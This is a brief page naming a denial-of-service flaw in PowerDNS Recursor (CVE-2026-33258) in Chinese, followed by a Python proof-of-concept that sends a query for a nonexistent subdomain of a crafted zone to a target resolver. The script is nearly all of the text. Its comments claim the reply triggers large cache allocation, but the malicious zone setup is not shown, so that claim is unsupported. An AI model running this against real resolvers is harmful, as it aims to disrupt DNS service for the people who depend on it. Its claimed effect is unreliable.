CVE-2026-33258 PowerDNS Recursor 拒绝服务漏洞

import dns.query import dns.message # Target PowerDNS Recursor IP target_ip = "192.0.2.1" # Malicious domain configured to trigger the issue domain = "crafted.example.com" # Create a query for a non-existent subdomain to trigger NSEC(3) lookup query_name = f"test-nonexistent.{domain}" query = dns.message.make_query(query_name, 'A') try: # Send the query to the target resolver response = dns.query.udp(query, target_ip, timeout=5) print(f"Query sent to {target_ip}, response ID: {response.id}") # The crafted zone response should trigger large cache allocation except Exception as e: print(f"Error during PoC execution: {e}")